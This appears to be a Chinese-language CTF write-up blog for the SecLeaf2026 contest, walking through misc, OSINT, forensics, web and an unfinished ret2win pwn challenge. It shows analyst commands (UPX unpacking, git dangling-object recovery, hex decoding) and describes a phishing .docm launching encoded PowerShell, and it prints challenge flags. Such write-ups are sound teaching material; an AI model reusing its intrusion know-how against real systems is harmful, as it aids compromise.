&lt;h2&gt;&lt;code&gt;3.Chromatic&lt;/code&gt;&lt;/h2&gt;
&lt;h3&gt;题目描述&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;（一份mp4文件）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;先检查&lt;code&gt;mp4&lt;/code&gt;文件
&lt;img src=&quot;img-006.png&quot; alt=&quot;&quot; /&gt;
根据&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;30 fps
54 秒
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看出是一秒一张图片，同时看视频内容可以猜测：每一秒的红色数值，正好能转成一个字符。&lt;/p&gt;
&lt;h4&gt;&lt;code&gt;EXP&lt;/code&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;import subprocess
import collections

video = &quot;chromatic.mp4&quot;

# 取视频左上角 1x1 像素，每帧输出 RGB
cmd = [
    &quot;ffmpeg&quot;,
    &quot;-v&quot;, &quot;error&quot;,
    &quot;-i&quot;, video,
    &quot;-vf&quot;, &quot;crop=1:1:0:0,format=rgb24&quot;,
    &quot;-f&quot;, &quot;rawvideo&quot;,
    &quot;-&quot;
]

data = subprocess.check_output(cmd)

# 每帧 3 个字节：R G B
r_values = [data[i] for i in range(0, len(data), 3)]

fps = 30
flag = &quot;&quot;

# 每 30 帧，也就是每 1 秒取一次
for i in range(0, len(r_values), fps):
    block = r_values[i:i+fps]

    # 取这一秒出现最多的红色值
    r = collections.Counter(block).most_common(1)[0][0]

    # 红色值转 ASCII 字符
    flag += chr(r)

print(flag)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
</content:encoded></item><item><title>SecLeaf2026的WP</title><link>https://clairis.cn/posts/12sec/</link><guid isPermaLink="true">https://clairis.cn/posts/12sec/</guid><pubDate>Sat, 23 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;先叠个甲：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这是一场很水的比赛&lt;/li&gt;
&lt;li&gt;内容也很基础，没有技术含量&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;&lt;code&gt;Misc&lt;/code&gt;&lt;/h1&gt;
&lt;h2&gt;1.&lt;code&gt;Digital Rockstar&lt;/code&gt;&lt;/h2&gt;
&lt;h3&gt;题目描述&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Some programmers write code. Others write poetry.
Can you understand this digital rockstar?
&amp;gt; every space matters.also i is not i
Flag Format: SecLeaf{}

有些程序员编写代码，另一些则书写诗篇。
你能读懂这位“数字摇滚巨星”吗？
每一个空格都至关重要；此外，“i”亦非彼“i”。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;（附件内容）
Midnight is Sec
Shadow is leaf
Chaos is poetry 
Neon is is fun

Dreams are Midnight with Shadow with Chaos with Neon

Say Dreams

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;1‍⃣&lt;strong&gt;识别语言&lt;/strong&gt;:
根据文件拓展名&lt;code&gt;.rock&lt;/code&gt;与代码风格（类似歌词的语法），可以识别出这是&lt;code&gt;&quot;Rockstar&quot;&lt;/code&gt;语言&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Rockstar 是一门专门为创意程序员设计的动态类型、图灵完备的“纵欲型”编程语言。它的语法完全基于 20 世纪 80 年代重摇滚和强力情歌（Power Ballads）的歌词 convention 编写，这意味着你的代码即可以是程序，同时也是一首完整的摇滚歌曲。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2‍⃣&lt;strong&gt;了解语法&lt;/strong&gt;：
&lt;code&gt;Rockstar&lt;/code&gt; 语言的关键特性：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;is&lt;/code&gt; / &lt;code&gt;are&lt;/code&gt; / &lt;code&gt;was&lt;/code&gt;：变量赋值&lt;/li&gt;
&lt;li&gt;&lt;code&gt;with&lt;/code&gt;：字符串拼接&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Say&lt;/code&gt; / &lt;code&gt;Shout&lt;/code&gt; / &lt;code&gt;Whisper&lt;/code&gt;：输出&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Poetic Numbers（诗意数字）&lt;/strong&gt;：当赋值语句右侧不以数字或关键字开头时，每个单词的字母数会被解析为十进制数字（忽略空格和非字母字符）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;3‍⃣&lt;strong&gt;尝试标准解析：&lt;/strong&gt;
按照 &lt;code&gt;Rockstar&lt;/code&gt; 标准的 &lt;code&gt;poetic number&lt;/code&gt; 规则解析：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;变量&lt;/th&gt;
&lt;th&gt;右侧内容&lt;/th&gt;
&lt;th&gt;字母数 → 数字&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Midnight&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Sec&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;3 → &lt;code&gt;3&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Shadow&lt;/td&gt;
&lt;td&gt;&lt;code&gt;leaf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;4 → &lt;code&gt;4&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Chaos&lt;/td&gt;
&lt;td&gt;&lt;code&gt;poetry&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;6 → &lt;code&gt;6&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Neon&lt;/td&gt;
&lt;td&gt;&lt;code&gt;is&lt;/code&gt; &lt;code&gt;fun&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2, 3 → &lt;code&gt;23&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;拼接结果：&lt;code&gt;34623&lt;/code&gt; — 这显然不是 &lt;code&gt;flag&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;4‍⃣&lt;strong&gt;分析异常与提示：&lt;/strong&gt;
仔细观察代码，发现两处异常：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;第 3 行&lt;/strong&gt;：&lt;code&gt;Chaos is poetry &lt;/code&gt; — &lt;code&gt;poetry&lt;/code&gt; 后面有一个&lt;strong&gt;多余的空格&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;第 4 行&lt;/strong&gt;：&lt;code&gt;Neon is is fun&lt;/code&gt; — 出现了&lt;strong&gt;两个 &lt;code&gt;is&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;结合提示 &lt;strong&gt;&lt;code&gt;&quot;every space matters&quot;&lt;/code&gt;&lt;/strong&gt; 和 &lt;strong&gt;&lt;code&gt;&quot;i is not i&quot;&lt;/code&gt;&lt;/strong&gt;，可以推断：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不要使用 &lt;code&gt;Rockstar&lt;/code&gt; 的标准 &lt;code&gt;poetic number&lt;/code&gt; 解析&lt;/li&gt;
&lt;li&gt;将 &lt;code&gt;is&lt;/code&gt; 右侧的内容视为&lt;strong&gt;原始字符串&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;将字母 &lt;code&gt;i&lt;/code&gt; 替换为数字 &lt;code&gt;1&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;5‍⃣&lt;strong&gt;按原始字符串解析：&lt;/strong&gt;
将每个变量 &lt;code&gt;is&lt;/code&gt; 右侧的内容作为原始字符串提取（保留所有空格和字符）：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;变量&lt;/th&gt;
&lt;th&gt;右侧原始字符串&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Midnight&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Sec&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Shadow&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;leaf&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Chaos&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;poetry &lt;/code&gt;（含尾部空格）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Neon&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;is fun&lt;/code&gt;（第二个 &lt;code&gt;is&lt;/code&gt; 开始）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;拼接后得到：&lt;code&gt;Secleafpoetry is fun&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;同时将&lt;code&gt;i&lt;/code&gt;替换为&lt;code&gt;1&lt;/code&gt;&lt;/strong&gt;，最后的&lt;code&gt;flag&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;SecLeaf{poetry_1s_fun}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;2.&lt;code&gt;The Invoice Incident&lt;/code&gt;&lt;/h2&gt;
&lt;h3&gt;题目描述&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;The Invoice Incident

At 09:14 AM, a finance employee reported receiving an urgent invoice email. Shortly after, suspicious activity began on the host.

You have been provided mail and endpoint logs collected during the incident.

Analyze the logs carefully, determine the malicious attachment responsible for the compromise, and submit the flag.

发票事件

上午 09:14，一名财务人员报告收到了一封紧急发票邮件。此后不久，主机上便出现了可疑活动。

您已获提供在此次事件期间收集的邮件日志及终端日志。

请仔细分析这些日志，找出导致系统沦陷的恶意附件，并提交 Flag。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;事件起点：&lt;code&gt;At 09:14 AM + receiving an urgent invoice email&lt;/code&gt;，九点十四分收到邮件，所以先找&lt;code&gt;09：14&lt;/code&gt;左右的邮件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep -i &quot;invoice&quot; *
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;7.png&quot; alt=&quot;&quot; /&gt;
由此我们可以看出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;发件人：billing@micr0soft-support.com
收件人：finance.aarti
主题：Pending Invoice Notice
附件：Invoice_April_2026.docm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;初步判定这个就是可疑邮件&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1‍⃣该邮件与题目十分吻合；&lt;br /&gt;
2‍⃣发件人十分可疑——&lt;strong&gt;发件人邮箱&lt;/strong&gt;中&lt;code&gt;microsoft&lt;/code&gt;的&lt;code&gt;o&lt;/code&gt;被替换成&lt;code&gt;0&lt;/code&gt;；&lt;br /&gt;
3‍⃣附件很可疑——附件为&lt;code&gt;.docm&lt;/code&gt;格式，攻击者经常把恶意命令藏在宏里&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;但是这样并不能完全确定，所以接下来查看&lt;code&gt;endpoint&lt;/code&gt;日志（电脑行为日志）
&lt;img src=&quot;8.png&quot; alt=&quot;&quot; /&gt;
由日志可以看出：&lt;code&gt;09：16&lt;/code&gt;时确实打开了&lt;code&gt;Invoice_April_2026.docm&lt;/code&gt;文件，而紧接着启动了&lt;code&gt;powershell&lt;/code&gt;并连接了&lt;code&gt;198.51.100.24:80&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PowerShell 是 Windows 上执行命令的工具。攻击者很喜欢用它下载恶意程序、执行脚本、连接远程服务器。
-enc 通常表示命令是 Base64 编码过的 PowerShell 命令。攻击者经常这样做，是为了让命令看起来不明显。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由以上信息我们可以判断，&lt;code&gt;Invoice_April_2026.docm&lt;/code&gt;是导致可疑行为的恶意附件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SecLeaf{Invoice_April_2026.docm}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;3.&lt;code&gt;wrong_turn&lt;/code&gt;&lt;/h2&gt;
&lt;h3&gt;题目描述&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;There is Secure vault which has hard coded flag in it.

Decrypt the password to unlock the vault.

Flag Format: SecLeaf{}

此处有一个安全保险库，其中硬编码了一个 Flag。

解密密码以解锁该保险库。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;1‍⃣&lt;strong&gt;先查看文件类型&lt;/strong&gt;
结果为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wrong_turn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), statically linked, no section header
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以可以看出&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ELF 64-bit        64 位 Linux 可执行文件
x86-64            x86-64 架构
statically linked 静态链接
no section header 没有 section header，可能被处理/加壳过
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以这是一道&lt;code&gt;Linux&lt;/code&gt;逆向题&lt;/p&gt;
&lt;p&gt;2‍⃣ &lt;strong&gt;运行程序&lt;/strong&gt;
&lt;img src=&quot;27.png&quot; alt=&quot;&quot; /&gt;
所以需要先给执行权限再运行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;chmod +x wrong_turn
./wrong_turn
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行后需要输入密码，随便输入一个得到&lt;code&gt;Access denied&lt;/code&gt;的结果，所以程序逻辑大概是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;检查调试器
    ↓
提示输入密码
    ↓
校验密码
    ↓
密码正确就输出 flag
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;28.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;3‍⃣&lt;strong&gt;先用&lt;code&gt;Strings&lt;/code&gt;查看明文线索&lt;/strong&gt;
能看到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;UPX!
Debugger check
Decrypting secure vault
Enter password:
Access gra
9Leaf{ha&apos;\d
7Jts_agaZ}4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;UPX&lt;/code&gt;&lt;/strong&gt;——说明程序很可能被&lt;code&gt;UPX&lt;/code&gt;加壳了&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;UPX&lt;/code&gt;（全称 &lt;code&gt;Ultimate Packer for eXecutables&lt;/code&gt;）是一款免费、开源且跨平台的可执行文件压缩工具。它主要用于对二进制程序（如 &lt;code&gt;.exe&lt;/code&gt;、&lt;code&gt;.dll&lt;/code&gt;、&lt;code&gt;.so&lt;/code&gt; 等）进行无损压缩，通常可将文件体积缩小&lt;code&gt;%50&lt;/code&gt;至&lt;code&gt;%70&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;9Leaf{ha&apos;\d
7Jts_agaZ}4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这看起来像被扰乱过的 &lt;code&gt;flag&lt;/code&gt; 片段，但不是完整明文。所以光靠 &lt;code&gt;strings&lt;/code&gt; 不够，需要进一步分析程序运行后的真实内容。&lt;/p&gt;
&lt;p&gt;4‍⃣&lt;strong&gt;对程序进行脱壳并运行&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;upx -d wrong_turn -o wrong_turn_unpacked
chmod +x wrong_turn_unpacked
./wrong_turn_unpacked
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;29.png&quot; alt=&quot;&quot; /&gt;  &lt;img src=&quot;30.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;5‍⃣&lt;strong&gt;重新查找字符串&lt;/strong&gt;
&lt;img src=&quot;31.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;&lt;code&gt;OSINT&lt;/code&gt;&lt;/h1&gt;
&lt;h2&gt;&lt;code&gt;Can_you_Find_Cafe&lt;/code&gt;&lt;/h2&gt;
&lt;h3&gt;题目描述&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;whereami.jpeg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;A single image holds all the clues you need. Study the surroundings carefully and identify the exact location where it was taken. Accuracy matters.

Use &quot;_&quot; instead of spaces.

Flag Format: SecLeaf{Name_of_the_place+Location_name}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;用谷歌识图，选择 &lt;strong&gt;“外观匹配”&lt;/strong&gt;
&lt;img src=&quot;5.png&quot; alt=&quot;&quot; /&gt;
第一篇文章打开后得到这间咖啡店的简介
&lt;img src=&quot;6.png&quot; alt=&quot;&quot; /&gt;
根据内容即可得到&lt;code&gt;flag&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SecLeaf{Cafe_Goodluck+Deccan_Gymkhana}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;&lt;code&gt;Forensics&lt;/code&gt;&lt;/h1&gt;
&lt;h2&gt;1.&lt;code&gt;Force-push-wont-save-you&lt;/code&gt;&lt;/h2&gt;
&lt;h3&gt;题目描述&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;A developer force-pushed several times before the repository was archived.

We suspect sensitive data may still exist somewhere in the project history.

Some objects may no longer be referenced.

Flag format: SecLeaf{}

在代码库归档之前，一位开发者多次强制推送了代码。

我们怀疑项目历史记录中可能仍然存在敏感数据。

某些对象可能已不再被引用。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;1‍⃣&lt;strong&gt;先将附件解压并查看里面包含的文件&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unzip challenge.zip
cd force-push-wont-save-you
ls -la
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;13.png&quot; alt=&quot;&quot; /&gt;
解压后由&lt;code&gt;.git&lt;/code&gt;，同时又结合题目&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;force-pushed several times&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;project history&lt;/code&gt;&lt;br /&gt;
&lt;code&gt;objects may no longer be referenced&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;所以我们除了看当前文件，还要看&lt;code&gt;Git&lt;/code&gt;历史与&lt;code&gt;Git&lt;/code&gt;对象&lt;/p&gt;
&lt;p&gt;2‍⃣&lt;strong&gt;先看当前文件&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat app.js
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;14.png&quot; alt=&quot;&quot; /&gt;
由&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TODO REMOVE HARDCODED TOKEN
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们可以看出以前可能真的提交过敏感信息，但后来被删除了——所以继续查历史&lt;/p&gt;
&lt;p&gt;3‍⃣&lt;strong&gt;查询所有能看到的提交历史&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git log --oneline --all --decorate --graph
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;15.png&quot; alt=&quot;&quot; /&gt;
从&lt;code&gt;&quot;remove sensitive file before push&quot;&lt;/code&gt;推测有删除，于是查看&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git show 0fbc9b5:.env 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;16.png&quot; alt=&quot;&quot; /&gt;
所以这个不是真正的&lt;code&gt;flag&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;或者也可以直接在所有正常历史里搜索&lt;code&gt;flag&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git grep -n &quot;SecLeaf&quot; $(git rev-list --all)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;17.png&quot; alt=&quot;&quot; /&gt;
也不是真正的&lt;code&gt;flag&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;4‍⃣&lt;strong&gt;根据题目说的“Some objects may no longer be referenced”，所以查 dangling objects&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git fsck --full --no-reflogs --lost-found
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;18.png&quot; alt=&quot;&quot; /&gt;
分别查看&lt;code&gt;commit&lt;/code&gt;与&lt;code&gt;blob&lt;/code&gt;
&lt;img src=&quot;19.png&quot; alt=&quot;&quot; /&gt;
但是这两个也是假的&lt;code&gt;flag&lt;/code&gt;。到这里发现题目在故意引导只查&lt;code&gt;Git&lt;/code&gt;历史与&lt;code&gt;dangling objects&lt;/code&gt;，但这些都是假的&lt;/p&gt;
&lt;p&gt;5‍⃣&lt;strong&gt;继续全局搜索整个目录&lt;/strong&gt;
因为前面找到的全是假的&lt;code&gt;flag&lt;/code&gt;，所以应该扩大范围&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep -RIn --binary-files=text &quot;SecLeaf&quot; .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;20.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2.&lt;code&gt;needle_in_context&lt;/code&gt;&lt;/h2&gt;
&lt;h3&gt;题目描述&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;During a failed forensic recovery attempt, several debug logs were partially reconstructed.

Investigators believe some entries may still contain fragments of sensitive data.

Be warned: not every recovery artifact is trustworthy.

Flag format: SecLeaf{}

在一次失败的取证恢复尝试中，部分调试日志被成功重建。

调查人员认为，某些日志条目可能仍然包含敏感数据片段。

请注意：并非所有恢复产物都可信。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;1‍⃣&lt;strong&gt;解压文件、查看文件内容&lt;/strong&gt;：解压后看到大量的日志文件；同时根据题目可以看出：&lt;strong&gt;&lt;code&gt;flag&lt;/code&gt;是拼接而成的&lt;/strong&gt;，同时还会有很多假的&lt;code&gt;flag&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;2‍⃣&lt;strong&gt;先搜索&lt;code&gt;SecLeaf&lt;/code&gt;&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep -RIn &quot;SecLeaf&quot; .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;21.png&quot; alt=&quot;&quot; /&gt;
有搜索结果，但是这些都是&lt;code&gt;{temporary_xxxxx}&lt;/code&gt;——无用的&lt;code&gt;flag&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;3‍⃣&lt;strong&gt;搜索可能的碎片关键词&lt;/strong&gt;
题目说&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fragments of sensitive data
敏感数据碎片
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以继续搜索关键词&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep -RIn &quot;fragment\|chunk\|recovered\|orphan\|cache\|last&quot; .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在搜索出来的结果中看见了：
&lt;img src=&quot;22.png&quot; alt=&quot;&quot; /&gt;
&lt;strong&gt;&lt;code&gt;5365634c&lt;/code&gt;转成文本就是&lt;code&gt;SeclL&lt;/code&gt;&lt;/strong&gt;
所以接下来将搜索出来的&lt;code&gt;hex&lt;/code&gt;转成文本，并从其中提取有效字符串，按合理的顺序拼接起来&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep -RIn &quot;fragment\|chunk\|recovered\|orphan\|cache\|last&quot; . \
| grep -Eo &apos;[0-9a-fA-F]{8,}&apos; \
| while read x; do echo &quot;$x -&amp;gt; $(echo &quot;$x&quot; | xxd -r -p)&quot;; done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;23.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SecLeaf{context_is_the_real_enemy}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;&lt;code&gt;Web&lt;/code&gt;&lt;/h1&gt;
&lt;h2&gt;1.&lt;code&gt;Hidden_panel&lt;/code&gt;&lt;/h2&gt;
&lt;h3&gt;题目描述&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;We discovered a partially exposed internal web portal during reconnaissance.

Developers claimed sensitive endpoints were “properly hidden.”

Can you discover what was left behind?

Link: [https://s3.secleaf.tech/](https://s3.secleaf.tech/)

Flag format: SecLeaf{}

在侦察阶段，我们发现了一个部分暴露的内部 Web 门户。

开发人员声称，敏感端点已“妥善隐藏”。

你能否找出那些被遗留下的内容？
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;1‍⃣先查看源码，并没有发现什么关于&lt;code&gt;flag&lt;/code&gt;的线索
2‍⃣于是检查&lt;code&gt;robots.txt&lt;/code&gt;，在最下面找到了&lt;code&gt;flag&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://s3.secleaf.tech/robots.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;24.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;&lt;code&gt;PWN&lt;/code&gt;&lt;/h1&gt;
&lt;h2&gt;1.&lt;code&gt;ret2win&lt;/code&gt;&lt;/h2&gt;
&lt;h3&gt;题目描述&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;A vulnerable SECLEAF access terminal was recovered from a decommissioned internal server.

The developers claimed the system was &quot;unbreakable.&quot;

Can you prove otherwise?

Flag Format: SecLeaf{}

一个存在漏洞的 SECLEAF 访问终端已从一台已停用的内部服务器中恢复。

开发人员声称该系统“坚不可摧”。

你能证明他们的说法是错误的吗？
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;1‍⃣&lt;strong&gt;先查看文件类型&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;file ret2win
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到的结果是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ELF 64-bit LSB executable, x86-64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;说明它是：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;64位Linux可执行文件
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;ELF&lt;/code&gt;:
&lt;code&gt;Windows&lt;/code&gt;程序常见格式：&lt;code&gt;PE&lt;/code&gt;，比如&lt;code&gt;.exe&lt;/code&gt;
&lt;code&gt;Linux&lt;/code&gt;程序常见格式：&lt;code&gt;ELF&lt;/code&gt;
&lt;code&gt;executable&lt;/code&gt;：可执行文件，即可以运行&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;2‍⃣&lt;strong&gt;看程序里有没有明显字符串&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;strings -a ret2win
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;25.png&quot; alt=&quot;&quot; /&gt;
其中：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Access Granted!
Flag:%s
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;非常像程序成功后会打印的内容
结合题目名&lt;code&gt;ret2win&lt;/code&gt;，可以推测程序里大概存在一个&lt;code&gt;win&lt;/code&gt;函数用来打印&lt;code&gt;flag&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;3‍⃣&lt;strong&gt;继续查看函数符号&lt;/strong&gt;
继续使用&lt;code&gt;nm&lt;/code&gt;查看函数名和地址&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nm -n ret2win
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0000000000401166 T decode
00000000004011b1 T win
000000000040123b T vuln
000000000040128d T main
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里重点关注两个函数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;win  地址：0x4011b1
vuln 地址：0x40123b
&lt;/code&gt;&lt;/pre&gt;
